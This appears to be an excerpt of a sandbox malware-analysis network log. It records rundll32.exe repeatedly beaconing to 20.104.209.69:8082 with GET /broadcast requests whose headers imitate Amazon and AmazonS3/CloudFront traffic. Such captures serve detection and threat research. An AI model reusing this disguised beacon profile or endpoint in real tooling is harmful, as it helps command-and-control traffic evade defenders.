Jan 8, 2023 16:09:13.659255028 CET	1355	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:13.779225111 CET	1356	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.2.6	50010	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:14.028513908 CET	1359	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:14.147233009 CET	1359	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.2.6	50011	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:14.485296011 CET	1362	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:14.604413986 CET	1362	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:05 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.2.6	50012	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:14.862957001 CET	1365	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:14.980679989 CET	1365	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.2.6	50013	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:15.243055105 CET	1368	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:15.361291885 CET	1369	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:06 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.2.6	50014	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:15.744386911 CET	1371	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:15.862679005 CET	1372	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.2.6	50015	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:16.132078886 CET	1374	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:16.250296116 CET	1375	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.2.6	50016	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:16.505243063 CET	1378	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:16.623344898 CET	1378	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:07 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.2.6	50017	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:16.914318085 CET	1381	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:17.033626080 CET	1381	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.2.6	50018	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:17.296928883 CET	1384	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:17.415328979 CET	1384	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:08 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	49730	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:12.418984890 CET	458	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:12.537421942 CET	458	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:03 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.2.6	50019	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:17.690551996 CET	1387	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:17.809040070 CET	1387	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.2.6	50020	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:18.080221891 CET	1390	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:18.198735952 CET	1391	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.2.6	50021	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:18.471911907 CET	1393	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:18.590138912 CET	1394	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.2.6	50022	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:18.846417904 CET	1396	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:18.966918945 CET	1397	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.2.6	50023	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:19.229934931 CET	1399	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:19.350924015 CET	1400	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.2.6	50024	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:19.614780903 CET	1403	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:19.732151985 CET	1403	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.2.6	50025	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:20.012556076 CET	1406	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:20.133842945 CET	1406	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.2.6	50026	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:20.802707911 CET	1409	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:20.921210051 CET	1409	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.2.6	50027	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:21.273884058 CET	1412	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:09:21.392632961 CET	1412	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:09:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.2.6	50028	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:09:22.275214911 CET	1415	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
